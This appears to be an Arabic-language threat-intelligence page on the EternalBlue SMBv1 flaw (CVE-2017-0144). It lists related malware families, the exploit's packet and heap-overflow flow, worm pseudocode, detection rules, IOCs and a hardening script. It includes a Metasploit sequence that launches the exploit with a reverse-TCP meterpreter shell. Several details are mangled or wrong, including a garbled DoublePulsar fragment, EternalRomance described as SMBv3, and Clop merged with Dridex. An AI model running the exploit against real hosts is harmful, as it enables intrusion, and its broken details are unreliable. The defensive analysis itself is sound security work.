
CVE-2017-0144

"استغلال واحد. عشرات العائلات الضارة. مليارات في الأضرار."
CVE-2017-0144 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في تطبيق خادم SMBv1 في Microsoft Windows. الاستغلال المعروف باسم EternalBlue استغل هذه الثغرة واستُخدم في هجمات عالية التأثير (أبرزها WannaCry).
| # | البرنامج الخبيث | النوع | أول ظهور | الجهة الفاعلة | الضرر | ملاحظات |
|---|
| 1 | WannaCry | برمجية فدية | 12 مايو 2017 | مجموعة Lazarus (كوريا الشمالية) | 4-8 مليارات دولار | مفتاح القتل: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | ماسح (تظاهر بأنه فدية) | 27 يونيو 2017 | Sandworm (روسيا) | 10 مليارات دولار+ | استخدم Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | برمجية فدية | 24 أكتوبر 2017 | Indrik Spider | إقليمي | هجوم تحميل مزيف لتحديث Flash |
| 4 | Uiwix | برمجية فدية | مايو 2017 | غير معروف | منخفض | لا مفتاح قتل، أكثر خفاءً من WannaCry |
| 5 | EternalRocks | دودة | مايو 2017 | غير معروف | متوسط | 7 أدوات NSA (بما في ذلك DoublePulsar) |
| 6 | Adylkuzz | عامل تعدين عملات رقمية | مايو 2017 | غير معروف | عالي (صامت) | قام بتعدين Monero قبل WannaCry |
| 7 | Retefe | حصان طروادة مصرفي | 2017–2018 | غير معروف | بنوك أوروبية | استخدم EternalBlue للحركة الجانبية |
| 8 | TrickBot | برمجيات معيارية خبيثة | 2017–2021 | Wizard Spider | عالمي | أسقط Ryuk عبر EternalBlue |
| 9 | Emotet | محمل | 2017–2021 | TA542 | عالمي | استخدم كمدخل لـ Cobalt Strike |
| 10 | Clop / Dridex | برمجية فدية | 2019–2025 | TA505 | الرعاية الصحية، الحكومة | لا يزال نشطًا في 2025 |

| الأداة | الإصدار | الميزات |
|---|---|---|
| EternalBlue (الأصلي) | أبريل 2017 (Shadow Brokers) | RCE عبر SMBv1 |
| DoublePulsar | أبريل 2017 | زرع باب خلفي (ring0) |
| EternalRomance | أبريل 2017 | متغير SMBv3 |
| EternalChampion | أبريل 2017 | مسار SMB بديل |
| وحدة Metasploit | مايو 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | أبريل 2017 | إطار استغلال NSA |
| Impacket + PSEXEC | 2017–2025 | استغلال SMB بلغة Python |

"حزمة واحدة مشوهة. وصول كامل للنظام SYSTEM. لا تسجيل دخول. لا نقرة."
[المهاجم]
│
├──▶ يرسل طلب **Trans2** من SMBv1 مصمم خصيصًا
│ → يسبب **تجاوز سعة الكومة** في `srv!SrvOS2FeaListSizeToNt`
│
├──▶ يكتب فوق مؤشرات الدوال → **كود شيل في النواة**
│
└──▶ ينفذ باب خلفي **DoublePulsar** → **حمولة في Ring-0**
(مثل `mssecsvc.exe` من WannaCry)
| المتطلب | التفاصيل |
|---|---|
| الهدف | Windows مع تمكين SMBv1 (افتراضي قبل Win10) |
| المنفذ المفتوح | 445/TCP (أو 139/TCP عبر NetBIOS) |
| بدون مصادقة | غير مصادق — لا حاجة لاسم مستخدم/كلمة مرور |
| الهيكل | x86 أو x64 (كلاهما مدعوم) |
| حالة التصحيح | غير مصحح (قبل MS17-010) |
SMB_COM_NEGOTIATE → يرسل العميل قائمة اللهجات
يستجيب الخادم: SMBv1 مدعوم → تابع
السبب؟ يؤكد أن SMBv1 نشط.

\\TARGET\IPC$ → مشاركة مجهولة لأنابيب SMB
الغرض: إنشاء جلسة لإرسال طلبات المعاملات.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (أو قيمة كبيرة)
...
}
تشغيل الخطأ:
SrvOS2FeaListSizeToNt()تثق بهذا الحجم دون التحقق من الحدود.

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → تجاوز السعة للمخزن المؤقت
}
رش الكومة: يخصص كتلًا كبيرة للتحكم في تخطيط الذاكرة.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // يتحكم فيه المهاجم
PULONG pNtFeaListSize // مؤشر الإخراج
)
{
// لا يوجد تحقق من FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping: 0x0002C001Exec: 0x0002C002 + الحمولةمثال WannaCry:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → تشفير الملفات
رأس SMB
└── الأمر: 0x32 (TRANSACTION2)
└── الإعداد: 0x000E (SESSION_SETUP)
└── المعامل: TotalDataCount = 0x1000
└── البيانات:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → رش الكومة
[OVERFLOW] → الكتابة فوق التجمع
[SHELLCODE] → x64 ring0
| الأداة | اللغة | الوحدة |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| C2 مخصص | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| الأثر | الموقع | القيمة |
|---|---|---|
| DoublePulsar | ذاكرة النواة | مفتاح XOR 0x00120034 |
| كود الشيل | تجمع srvnet.sys | نمط 0xCC 0x90 0x48 |
| DLL المحقون | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"محاولة ETERNALBLUE";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
امسح الشبكة بحثًا عن المنفذ 445
if (مفتوح) → استغلال EternalBlue
if (نجاح) → إسقاط mssecsvc.exe + الانتشار
Sleep(random(1000, 5000))
}
سرعة الانتشار: ~10,000 إصابة/ساعة عالميًا.
| العامل | السبب |
|---|---|
| بدون مصادقة | SMBv1 يسمح بـ IPC$ مجهول |
| قابل للتحول لدودة | مسح LAN مدمج |
| RCE في النواة | يتجاوز AV/مطالبات المستخدم |
| SMBv1 القديم | ممكّن افتراضيًا لأكثر من 15 عامًا |
| الأنظمة غير المصححة | XP، 2003، 7 في البنية التحتية الحيوية |
| السنة | نسبة النجاح % (غير مصحح) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (القديم فقط) |
لا يزال يعمل على Windows 7/2008 R2 بدون MS17-010
EternalBlue = خطأ رياضي مسلح
حقل حجم موثوق به في SMB → تجاوز سعة كومة النواة → كود تعسفي → جائحة عالمية للفدية
حزمة SMB → تجاوز المخزن المؤقت → كود شيل النواة → DoublePulsar → البرنامج الخبيث
مرئي، مُحلل، ومُختبر في المعارك. لمختبرات الاختراق، فرق الاستجابة للحوادث، والمدافعين.
"حزمة واحدة. منفذ واحد. سقوط إمبراطورية واحدة."
| نظام التشغيل | تصحيح KB | تعطيل SMBv1 | نص Nmap |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (منتهي الدعم) | KB4012598 (طارئ) | التسجيل: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| المقياس | الحالة |
|---|---|
| SMBv1 مكشوف على Shodan | ~1.2 مليون (نوفمبر 2025) |
| استغلالات نشطة (أواني العسل) | يوميًا |
| البرامج الخبيثة التي تستخدمه | Clop, LockBit (أهداف قديمة) |
| الأكثر عرضة للخطر | الرعاية الصحية، التصنيع، الشركات الصغيرة والمتوسطة |
| حل Zero Trust | حظر 445، فرض MFA، EDR |
| المرحلة | التقنية | المعرف |
|---|---|---|
| الوصول الأولي | استغلال التطبيق العام | T1190 |
| التنفيذ | RCE في SMB Windows | T1210 |
| الثبات | باب خلفي عبر DoublePulsar | T1505.003 |
| الحركة الجانبية | مشاركات إدارة SMB/Windows | T1021.002 |
| التأثير | تشفير البيانات للتأثير | T1486 |
# === سيناريو تحصين ETERNALBLUE ===
Write-Host "تطبيق الإجراءات التخفيفية لـ EternalBlue..." -ForegroundColor Cyan
# 1. تعطيل SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. حظر المنفذ 445
New-NetFirewallRule -DisplayName "حظر SMB الوارد" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. تمكين توقيع SMB
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. التحقق من التصحيح
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "مصحح!" -ForegroundColor Green } else { Write-Host "غير مصحح!" -ForegroundColor Red }
Write-Host "مطلوب إعادة تشغيل. تشغيل كمسؤول."
| المصدر | الرابط |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| تقرير CrowdStrike عن WannaCry | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| بحث Shodan | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 لم تمت — إنها زومبي قديم.
تزدهر في:
- Windows 7/2008 غير المصحح
- تكنولوجيا المعلومات الظلية
- الأنظمة الحيوية المنعزلة
- الأجهزة الافتراضية السحابية غير المهيأة بشكل صحيح
إذا كنت تستطيع ping المنفذ 445 من الإنترنت — فأنت التالي.
بُني بدقة ومرئيات واستخبارات تهديدات حقيقية. تم التحديث نوفمبر 2025.
لمختبرات الاختبار، كتيبات الاستجابة للحوادث، أو إحاطات CISO.
"صححه. احظره. اقتله بالنار."